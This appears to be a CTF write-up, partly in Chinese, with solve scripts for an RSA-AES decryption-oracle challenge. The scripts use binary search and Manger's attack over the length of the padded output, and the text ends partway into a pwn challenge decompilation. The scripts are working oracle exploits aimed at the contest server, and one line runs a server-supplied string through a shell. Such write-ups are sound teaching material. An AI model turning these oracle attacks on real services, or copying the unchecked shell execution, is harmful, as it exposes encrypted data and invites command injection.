c = 785019041003063094605338644855048946920785904799316056061128856210648574008947823318103541165223596391441869599653542367469582749735833238881174760706303204193239490503494128261465176354669635814736470937192039240288549501040533102957388190144367063971050093258087028919607189745941929361743460532173075128757057170184845810592063392093611909588608434601111240804241210939629912198253922278311726074613374311364714503593835714701261515902458295964850200883428876941854713297600424159346665228238295844165261930957085099153766532230753418227132506795445835713828219025117217211988132423808868878491252074351084194298227654253015597086572860607173699553442586206642744564518363534136736457282374055689877416438808797889637908338960048452523853477755423540348739016013753910186174575168439451877576061110984631119994270572126858635951627682166569924669328090525845842805274374629938562576743743090674720310052196389604757172761607674745732712177986201837422518542301831341463977319044721933558836609327149863674429302791872305204502140781352055289953107204260973578971800635948027688728015052061073091633479965577903274852755170355267952134264963602557305761624298274953157061326235764865240265336589063356964395136173662984407099988044
ans = bytes_to_long(
    b'\xc0K*/\xfb{\xfd\xa36\xfe\'\xfc(l\xa5\xe1Nf\x17\xad\x9eZ"\xbd\xc2%rs\xbe\xb9\xf3\xc5e6\xeb\x9e\xceD\x86.\x03\xb2s\x95\xc2\xac}\xee \x9f\xb9\xbb\x87\x1c\x0b\t\x01D7\xcd\x05\xdcp\x84\x07K\xab\xc9\x14\x9e\x8b\xd5\x8e\xe4\xaeB\n(\r\xe3c\xbd\x97\xe9\x93&h5\xdf9\xaf%~\x9f&J\xf02\x9e\xd9JJe\xd6i\x85)\xd2\xb5\'\xe1x\xb6\xc5K\x84M\xbc_\x01\'\x80\xb5\xf5\x7f\xa1\x96\xbe\xe7\xb3R\xaa\xe7\xe0\x9c\xd4\xed\xde\n<\xdc\x16q\x10w\x8f\x1d\xa3XH\xe2M"C\xfa\x03\xdb\xf4\x00\xa0\xaf\x93=\x9fm\xb5\x94\xfa\xec\xf8\nd\xb1\x17\x8d\x84\x9f\xdfD\xb0FU\xd3\xc07q+\xcc|\xb7\xe7\x8dlk.\xa6S\xa3\x18\xbfi\x8e\xc2SW\\\xb4\x03o\xdd\xeb\xa41\x7fv\x8e\x07aka\x91i\xeb\xe0\xa6*\x17\x1f_*6\x90x\xcd\xaa$\xf9x\xadt\x00\xea\x01\x19\x11\xa9\xdd\xb6\xfa\x1e6\xa8<\x92\xf3w(\xbf;v\xe5\x92\n\xcd\x8ckD\xb1\x82\xe9\x16\x85\xbf\xbf81\xf6.\x9a\xbe\xe7\xf66+\xf4u\xce\xcf#\xb4i\x966\xbf\x96\xee568r\xc8\xd0\xfa\xf7\xfe\xd8>\x97j^\xbbc[\xc0\xe4\xf5\x9d\xb5\xac\xab2\xed\x90\x9cvf\x1a\xaa\xe2\xb27!h\xa5\xac\x0c\xff\xc8\x86F\x86\xaff\xdb\xc6\xc4\x94\xbd[\xf5\xf2\x85!\x1f\xf6\xb1.9\xc2\xf0>H\xd6 L\x9d\xe8\xf7V"\xfe"1\xf3I\xa9\xa9]\x10\x97&\xf6\xbb\xb3\xf4a_\x98\x85\x15v\xd4U\xfd\xeayj\xf4\x08b\xd95b\xf7\xcfI\xfc\x08k1\x8e\xc6\x98\xabY\x16fNRS-\x05<\xee\xe5\xc4\xe0\xad\x8aE\x03jL\xd5m~\x81\xfeqjw;0\xe5K\x889\xa9T\xa8\xc1/:\x96_\xee\x16\xe0\xca\xa6qm\xcb\xa5&\xd4\x94o\xa9\x94\xc6{sm\xc7\xf9\xff\xfe \xb3\xc0\x02\xc3\xe5O\xe8\xe7\x1d\xe0\xf4i\x07\xda\x97=\xfd\xc0\x0eW\xc0;\x8e(\x93\\G\x9bf\xd8\xcf0\x85'
)

ce = powmod(c, e, n)
# build table to speed up the calculations
# ce_pows[i] = powmod(ce, 1<<i, n)
# ce_pows_inv[i] = powmod(ce, -(1<<i), n)
ce_pows = [None] * 4096
ce_pows[0] = ce
ce_pows_inv = [None] * 4096
ce_pows_inv[0] = powmod(ce, -1, n)
for i in range(1, 4096):
    ce_pows[i] = (ce_pows[i - 1] * ce_pows[i - 1]) % n
    ce_pows_inv[i] = (ce_pows_inv[i - 1] * ce_pows_inv[i - 1]) % n
assert ce_pows[87] == powmod(ce, 1 << 87, n)
assert ce_pows_inv[63] == powmod(ce, -(1 << 63), n)

l = (powmod(ans, e, n) * powmod(c, -1, n)) % n
tbl = {}
for x in tqdm(range(4096), desc="build x table"):
    # ex = 1 << x
    # tbl[powmod(ce, ex, n) * l % n] = (x, -1)
    # tbl[powmod(ce, -ex, n) * l % n] = (x, +1)
    tbl[ce_pows[x] * l % n] = (x, -1)
    tbl[ce_pows_inv[x] * l % n] = (x, +1)

# for y, z in tqdm(
#     combinations(range(4096), 2), desc="search y z", total=4096 * 4095 // 2
# ):
#     # ey = 1 << y
#     # ez = 1 << z
#     # for yy, zz in product([1, -1], repeat=2):
#     #     t = powmod(ce, yy * ey + zz * ez, n)
#     #     if t in tbl:
#     #         print(tbl[t], y, z)
#     for (s1, t1), (s2, t2) in product([(+1, ce_pows), (-1, ce_pows_inv)], repeat=2):
#         t = t1[y] * t2[z] % n
#         if t in tbl:
#             print(tbl[t], (y, s1), (z, s2))
#             

# found (2439, -1) (981, -1) (2311, 1)
m = ans * powmod(c, -(-(1 << 2439) - (1 << 981) + (1 << 2311)), n) % n
print(long_to_bytes(m))
# actf{the_earthquake_in_the_room}

RSA-AES

from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES
from secret import flag, d

assert len(flag) < 256

n = 0xbb7bbd6bb62e0cbbc776f9ceb974eca6f3d30295d31caf456d9bec9b98822de3cb941d3a40a0fba531212f338e7677eb2e3ac05ff28629f248d0bc9f98950ce7e5e637c9764bb7f0b53c2532f3ce47ecbe1205172f8644f28f039cae6f127ccf1137ac88d77605782abe4560ae3473d9fb93886625a6caa7f3a5180836f460c98bbc60df911637fa3f52556fa12a376e3f5f87b5956b705e4e42a30ca38c79e7cd94c9b53a7b4344f2e9de06057da350f3cd9bd84f9af28e137e5190cbe90f046f74ce22f4cd747a1cc9812a1e057b97de39f664ab045700c40c9ce16cf1742d992c99e3537663ede6673f53fbb2f3c28679fb747ab9db9753e692ed353e3551
e = 0x10001
assert pow(2,e*d,n)==2

enc = pow(bytes_to_long(flag),e,n)
print(enc)

k = get_random_bytes(32)
iv = get_random_bytes(16)
cipher = AES.new(k, AES.MODE_CBC, iv)

while 1:
	try:
		i = int(input("Enter message to sign: "))
		assert(0 < i < n)
		print("signed message (encrypted with military-grade aes-256-cbc encryption):")
		print(cipher.encrypt(pad(long_to_bytes(pow(i,d,n)),16)))
	except:
		print("bad input, exiting")

這題是個奇怪的 RSA decryption oracle,decrypt 完之後用 AES CBC 加密才傳回來。因為這題題序有提到兩年前同個 ctf 的 RSA-OTP,所以查到了這個 writeup,另外在 Discord 中也有找到原題作者的 script

那題概念上就是透過知道 cd(modn)c^d \pmod{n} 的 bit length 去判斷長度,所以這樣就等同有個 am<nam < n 的 oracle,透過二分搜 aa 就能回推 mm

這題因為 padded 的長度也是會跟著原本的 bit length 變化,所以也能用類似的概念去弄。從 padding 可以知道如果回傳的長度小於 272 的話就代表它 am<B=28×255am < B = 2^{8 \times 255},然後就以這個概念開始 binary search。

不過會遇到的問題是這題的 mm 有 200 多 bytes,所以 aa 很小,除過去也只能拿到 flag 的前面一些 bits 而已。我這邊是參考原作者的 script 發現到它如果乘上一些更大的數字時會出現 wrap over,就是 (ammodn)<B(am \bmod{n}) < B

mod\bmod 改寫就變成 amkn<Bam - kn < B,在知道 mm 的 top bits 的情況下是能估計 k=amnk = \lfloor{\frac{am}{n}}\rfloor,然後繼續二分搜即可。不過這還需要有個好方法可以找到 wrap over 的下個 aa 的範圍,所以我的解法相當的 manual:

from pwn import *
import ast
from Crypto.Util.number import bytes_to_long, long_to_bytes
from random import randint

# context.log_level = 'debug'

n = 0xBB7BBD6BB62E0CBBC776F9CEB974ECA6F3D30295D31CAF456D9BEC9B98822DE3CB941D3A40A0FBA531212F338E7677EB2E3AC05FF28629F248D0BC9F98950CE7E5E637C9764BB7F0B53C2532F3CE47ECBE1205172F8644F28F039CAE6F127CCF1137AC88D77605782ABE4560AE3473D9FB93886625A6CAA7F3A5180836F460C98BBC60DF911637FA3F52556FA12A376E3F5F87B5956B705E4E42A30CA38C79E7CD94C9B53A7B4344F2E9DE06057DA350F3CD9BD84F9AF28E137E5190CBE90F046F74CE22F4CD747A1CC9812A1E057B97DE39F664AB045700C40C9CE16CF1742D992C99E3537663EDE6673F53FBB2F3C28679FB747AB9DB9753E692ED353E3551
e = 0x10001
enc = 8702343735025266604493255023455944506448203943421139140860292426782509680048873569587596911548140388664137318807031840409098358526949080521742044811655775937519290500584015066858945832554481838588845652546365303337275177311841968984511864709414904338587040274646253896911291865516895328016639201704613064462056129248165695806001948541939983934752397658730589917722952341689278968790138018539025744727334202968601465562656795710345742329370762196560147624069504644216320910078454455520823319751612174752365432199529820974601209221975964155055716974539394252799602068585830290371624396504384131654854623710049511046664
io = remote("challs.actf.co", 31500)


def oracle(c):
    io.sendlineafter(b"Enter message to sign: ", str(c % n).encode())
    io.recvline()
    return ast.literal_eval(io.recvlineS().strip())


# for i in range(1500, 1800):
#     l = len(oracle(pow(2,e*i,n)*enc%n))
#     print(i,l,'=' * 10 if l ==256 else '')
# exit()


# for i in range(800):
#     t = randint(2**1800, 2**1830)
#     l = len(oracle(pow(t, e, n) * enc % n))
#     print(t, l, "=" * 10 if l < 272 else "")
#     if l < 272:
#         break
# exit()

bound = 2 ** (8 * (223 + 16 + 16))


# def check(a):
#     # true if a*flag<bound
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag))<bound) == ret
#     return ret
# l = 1<<281
# r = 1<<282
# while r-l>=5:
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     if check(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes(bound//i))
# print(f'{l = }')
# print(f'{r = }')

# actf{the_letters_in_rsa_and_aes_for
l = 5106591256318838407683905460243764336959660291605761992637034245320889588676402619004
r = 5106591256318838407683905460243764336959660291605761992637034245320889588676402619008


# flag_approx = bound//((l+r)//2)
# old_l, old_r = l,r
# l=1<<417
# r=1<<421
# t = ((l+r)//2)*flag_approx//n
# l = (bound+(t*n))//(bound//old_l)
# r = (bound+(t*n))//(bound//old_r)
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# exit()

# actf{the_letters_in_rsa_and_aes_form_aries_if_you_th
l = 2876915576175161902638735420558619565332739305188016554901418502200422028281993863555513736990118237206528734750545634674214476
r = 2876915576175161902638735420558619565332739305188016554901418502200422028281993863555513736990118237206528734750545634674214479
t = 3004922629270658762035610041417503039161


# flag_approx = (bound+t*n)//((l+r)//2)
# old_l, old_r = l,r
# l = 2788595730112793363482939389816956118716055518453142516805245452365645530130649255772251254919244903425930540175264534619647173682810044137923730268625279210651085031363408490342314
# r = 1<<601
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i
l = 2788595730112793363482939389816956118717067625592558569122109372914710315564288760672236727384979003609179452086888918931820942394290026713628077108950197119875557345838695855595297
r = 2788595730112793363482939389816956118717067625592558569122109372914710315564288760672236727384979003609179452086888918931820942394290026713628077108950197119875557345838695855595299
t = 2912673031734900662395316884955179464520550584548675450510737837150340214830893378637155375253


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r = l,r
# l=1<<772
# r=1<<774
# # t = ((l+r)//2)*flag_approx//n
# # l = (bound+(t*n))//(bound//old_l)
# # r = (bound+(t*n))//(bound//old_r)
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents
l = 24840289476811342962383671815400040884110176273867145778224832608416815242982030181294054541258343647207804706536065233120593270847750168599425772831619927338434418889926878315235329955265232757350783242378659093019491194921254464013
r = 24840289476811342962383671815400040884110176273867145778224832608416815242982030181294054541258343647207804706536065233120593270847750168599425772831619927338434418889926878315235329955265232757350783242378659093019491194921254464016
t = 25945546885231068689701081185467205998159541945356011842376833249771582355386007995626913844230778454571428210808075349499667131598098150206112170


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l=1<<838
# r=1<<839
# # t = ((l+r)//2)*flag_approx//n
# # l = (bound+(t*n))//(bound//old_l)
# # r = (bound+(t*n))//(bound//old_r)
# assert r > l
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')

# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself
l = 1832889850782397517082802171755189663406212347562527955378281744907439616857248067557309485708214209151091283518633170408049856462283054627491650905580659510813855170585637869897105855355559911173232727735746231855035969403764159886371703173313087968656
r = 1832889850782397517082802171755189663406212347562527955378281744907439616857248067557309485708214209151091283518633170408049856462283054627491650905580659510813855170585637869897105855355559911173232727735746231855035969403764159886371703173313087968660
t = 1914443452977158129230475067287573602778082100812605911269977627778078974619449456949834070683484894171059782628560370507794649112063505421027889511470023283214637956


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l = 1641550959518889204327060753293133298008071251322882615948833979994084362247932504494195196993273913632675611712933151143263106391572187617869133125707375497901514599490881950415967558553268221821769522254021292561850184626270325883529964926864747294627750945092499738589283659636318017597208125381434986915053393458318580088945335
# r=1<<1098
# # t = ((l+r)//2)*flag_approx//n
# # l = (bound+(t*n))//(bound//old_l)
# # r = (bound+(t*n))//(bound//old_r)
# # assert r > l
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a
l = 1641550959518889204327060753293133298008071251322882615948833979994084362247932504494195196993273913632681730558092679835228121341433243540949243987915147127849677136846882565338958226278649038823205104414044774715949933967582465105018476900904220193700402953822673097109499902642615543847061004141051682855031147214750129290918080
r = 1641550959518889204327060753293133298008071251322882615948833979994084362247932504494195196993273913632681730558092679835228121341433243540949243987915147127849677136846882565338958226278649038823205104414044774715949933967582465105018476900904220193700402953822673097109499902642615543847061004141051682855031147214750129290918084
t = 1714591024571289765034361255424594471911146425175316747999600736043131001671162537597658924124232553096177195992917086193888676229220158251370110767248247595500193148598359476602370638082754919433992991681389215815122070005167052535264288005381


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l=1<<1285
# r=1<<1286
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_
l = 666107660458521541243215380951301474471376783825069107540423190425830915819095059072783324270868747829914983293073984498648548239892701754120954022763348528827144288600910102150524277984534841259233362446572662579749754548735798085478723700878977275859193617117626584040997931893710659862766269044625821599440962995816206934851402878867308816484181672266848496485789052244938919564218556
r = 666107660458521541243215380951301474471376783825069107540423190425830915819095059072783324270868747829914983293073984498648548239892701754120954022763348528827144288600910102150524277984534841259233362446572662579749754548735798085478723700878977275859193617117626584040997931893710659862766269044625821599440962995816206934851402878867308816484181672266848496485789052244938919564218560
t = 695745818548997146031596961508412710479974796693483588149882908704652154192883781979725829302780831947777349792683773656501063892778546886016728210171523148041289029707894329352734942032856303222697711791538372881954963927888035144482697872123563845558079741796255149413779106085785919654526962152479


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l = 1<<1483
# r = 1<<1484
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystem
l = 267598435290787038785000518495795120189849974672934179871183761785819731525904252652413031666450265973305896047938823832697254554301986387284630118698155981810683872110970285526174947445552543232243974184723958049427881810663230582200255812436177259804355666659724978056721027294663099056249229465532402729717101567493772041449273109906137898884048531080358329322204154324632623223688183898761232674157828198036000046114160288830071154212772171004
r = 267598435290787038785000518495795120189849974672934179871183761785819731525904252652413031666450265973305896047938823832697254554301986387284630118698155981810683872110970285526174947445552543232243974184723958049427881810663230582200255812436177259804355666659724978056721027294663099056249229465532402729717101567493772041449273109906137898884048531080358329322204154324632623223688183898761232674157828198036000046114160288830071154212772171008
t = 279505106240123948314692378726509954547271822804357682452053593873927350472230939979456465118962227769441882090514511424351871563696988439390086360047718062578852779448454190663619562767700670755823394892188031298541165717859458230518462852962028646241370589564316273908127650239233769370282485093186817517870805516498704392695546184367558461283956438479400269


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l = 37627211912131687436880096876625049684468713732826036184018796780027148519869517942380374884047967048529738110102006623977571758627661600240209535896478099139294943940878294104947956966484015477951993823825938355432089671303813860801233153000276564710210040974091374642782381797237017228192690672034305536770456175912978554765853141809394223146030540577361882758257024263795290797461531379807476170514773878546706221800506607390255108719046874067517161347352491642359527544712521974723367428591189
# r = 1<<1650
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystems_are_mutually_compat
l = 37627211912131687436880096876625049684468713732826036184018796780027148519869517942380374884047967048529738110102006623977571758627661600240210045683337130273185646423098679641576284718479986845914702724858502608406366221216399640190136769973825389380224750350410931391235696995751369134377248114592949267795163878364566636274103396943436516316606805635839776350312421759557164899000598078446570536486167268596290795596315472605141980079921097275480182920985271706716386979011369171224402535501425
r = 37627211912131687436880096876625049684468713732826036184018796780027148519869517942380374884047967048529738110102006623977571758627661600240210045683337130273185646423098679641576284718479986845914702724858502608406366221216399640190136769973825389380224750350410931391235696995751369134377248114592949267795163878364566636274103396943436516316606805635839776350312421759557164899000598078446570536486167268596290795596315472605141980079921097275480182920985271706716386979011369171224402535501429
t = 39301417631951703372894850038833823442285039026377811974765973372540562221465166236770753926271406427128064125853191238244457659724408756343102758233753469109598056133902659979888314998168416185052894160029440609089834407012611374547011641438400179447567523126310861827755103897257481528119680930686087174050522529534408569889254230417736847110349538456361530915392910677954130362896077098818312412305374553912


flag_approx = (bound + t * n) // ((l + r) // 2)
print(long_to_bytes(flag_approx))
old_l, old_r, old_t = l, r, t
l = 29808651182044202395161526438638499250467356820897103531466031080260466160601883954693978944153326581783908053680903595797444054912456745352533173167065465127079388979022228255354226131333720370147445313147194503816092984939561291128584036208838516222101490903987863746756463864580139223725509855111940761693194501219827742441025311558982608754381223637395316591827489626870115876892571490203325886163175102100856225880104171923577478616732083534202578515203236185114385838437398198094825347721266244693242373000953079413142535344107394366253873704069
r = 1 << 1829


def check2(a):
    # true if (a*flag-t*n)<2^(8*223)
    c = pow(a, e, n) * enc % n
    ret = len(oracle(c)) < 272
    # assert ((a*bytes_to_long(flag)%n)<bound) == ret
    # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
    return ret


while r - l >= 5:
    t = ((l + r) // 2) * flag_approx // n
    print((r - l).bit_length(), l, r)
    m = (l + r) // 2
    print(long_to_bytes((bound + t * n) // m))
    if check2(m):
        l = m
    else:
        r = m
for i in range(l, r):
    print(long_to_bytes((bound + t * n) // i))
print(f"{l = }")
print(f"{r = }")
print(f"{t = }")
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystems_are_mutually_compatble_i_think??}
l = 29808651182044202395161526438638499250467356820897103531466031080260783293606069621827836156023219505031710214972591154711778724939067129078710617176460493666413542664493500557305544946799944222030130240871659822347851065661225370784228758147361629860146897117123496676822166885856619806201561733366867191494545671933761987571558156959049338056122848543586209411166987777284805523034512605321989508974682785326098985409612370630249252664835995069056301180003198475442771626340450638944750614623717983490400570960186063590346158522905988477341410194303
r = 29808651182044202395161526438638499250467356820897103531466031080260783293606069621827836156023219505031710214972591154711778724939067129078710617176460493666413542664493500557305544946799944222030130240871659822347851065661225370784228758147361629860146897117123496676822166885856619806201561733366867191494545671933761987571558156959049338056122848543586209411166987777284805523034512605321989508974682785326098985409612370630249252664835995069056301180003198475442771626340450638944750614623717983490400570960186063590346158522905988477341410194306
t = 31134973590030204511543097623588600229937365385836644522874327062576751468365379230629613557610735762428591993992911414874152831780705308218764828836582235263164478058266177542766364541592854102122398394352597371052054914660910742101741376154393006897145863520270550999839248820825693725475425474569621353403864176434140151517198771682069231414945158723762019615563223885222568539026325966427318379966491800642867958894619869388328023617980136998935939463245795948

然後我在賽後才知道原來 (ammodn)<B(am \bmod{n}) < B 的 oracle 不用這麼麻煩,使用 Manger’s Attack 就能輕易的解決了。rkm0959_implements/Manger’s_Attack 就是個好用的現成 impl,直接拿來用就能輕鬆的找到 flag 了:

from pwn import *
import ast
from Crypto.Util.number import long_to_bytes
from subprocess import check_output

# context.log_level = 'debug'

n = 0xBB7BBD6BB62E0CBBC776F9CEB974ECA6F3D30295D31CAF456D9BEC9B98822DE3CB941D3A40A0FBA531212F338E7677EB2E3AC05FF28629F248D0BC9F98950CE7E5E637C9764BB7F0B53C2532F3CE47ECBE1205172F8644F28F039CAE6F127CCF1137AC88D77605782ABE4560AE3473D9FB93886625A6CAA7F3A5180836F460C98BBC60DF911637FA3F52556FA12A376E3F5F87B5956B705E4E42A30CA38C79E7CD94C9B53A7B4344F2E9DE06057DA350F3CD9BD84F9AF28E137E5190CBE90F046F74CE22F4CD747A1CC9812A1E057B97DE39F664AB045700C40C9CE16CF1742D992C99E3537663EDE6673F53FBB2F3C28679FB747AB9DB9753E692ED353E3551
e = 0x10001
c = 8702343735025266604493255023455944506448203943421139140860292426782509680048873569587596911548140388664137318807031840409098358526949080521742044811655775937519290500584015066858945832554481838588845652546365303337275177311841968984511864709414904338587040274646253896911291865516895328016639201704613064462056129248165695806001948541939983934752397658730589917722952341689278968790138018539025744727334202968601465562656795710345742329370762196560147624069504644216320910078454455520823319751612174752365432199529820974601209221975964155055716974539394252799602068585830290371624396504384131654854623710049511046664
io = remote("challs.actf.co", 31500)
# POW were added after I solved it the first way
io.recvuntil(b'proof of work: ')
out = check_output(io.recvlineS(),shell=True).strip()
io.sendlineafter(b'solution: ', out)

def oracle(c):
    io.sendlineafter(b"Enter message to sign: ", str(c % n).encode())
    io.recvline()
    return len(ast.literal_eval(io.recvlineS().strip())) < 272


B = 2 ** (8 * (223 + 16 + 16))


def Manger_Attack(c):
    f1 = 2
    while True:
        val = (pow(f1, e, n) * c) % n
        if oracle(val):
            f1 = 2 * f1
        else:
            break
    print('first')
    f12 = f1 // 2
    f2 = ((n + B) // B) * f12
    while True:
        val = (pow(f2, e, n) * c) % n
        if oracle(val):
            break
        else:
            f2 += f12
    print('second')
    m_min = (n + f2 - 1) // f2
    m_max = (n + B) // f2
    # note the ERRATA from https://github.com/GDSSecurity/mangers-oracle
    while m_min < m_max:
        print(long_to_bytes(m_min))
        f_tmp = (2 * B) // (m_max - m_min)
        I = (f_tmp * m_min) // n 
        f3 = (I * n + m_min - 1) // m_min
        val = (pow(f3, e, n) * c) % n
        if oracle(val):
            m_max = (I * n + B) // f3
        else:
            m_min = (I * n + B + f3 - 1) // f3
    return m_min

print(long_to_bytes(Manger_Attack(c)))
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystems_are_mutually_compatble_i_think??}

Pwn

caniride

這題用 IDA decompile 後如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+0h] [rbp-440h] BYREF
  unsigned int i; // [rsp+4h] [rbp-43Ch]
  __gid_t rgid; // [rsp+8h] [rbp-438h]
  int v6; // [rsp+Ch] [rbp-434h]
  char format[64]; // [rsp+10h] [rbp-430h] BYREF
  char buf[1000]; // [rsp+50h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp+438h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  puts("Welcome to blairuber!");
  printf("Name: ");
  __isoc99_scanf("%49s", format);
  for ( i = 0; (int)i <= 3; ++i )
    printf("%d) %s - %s\n", i, (&drivers)[i], (&desc)[i]);
  printf("Pick your driver: ");
  v3 = 0;
  __isoc99_scanf("%d", &v3);
  getchar();
  if ( v3 > 4 )
  {
    puts("Not enough drivers! Sorry.");
    exit(1);
  }
  sleep(3u);
  printf("Hi, this is %s your driver. Get in!\n", (&drivers)[v3]);
  sleep(3u);
  printf("So... tell me a little about yourself: ");
  v6 = read(0, buf, 0x3E7uLL);
  buf[v6] = 0;
  puts("Hmm, very interesting!");
  sleep(3u);
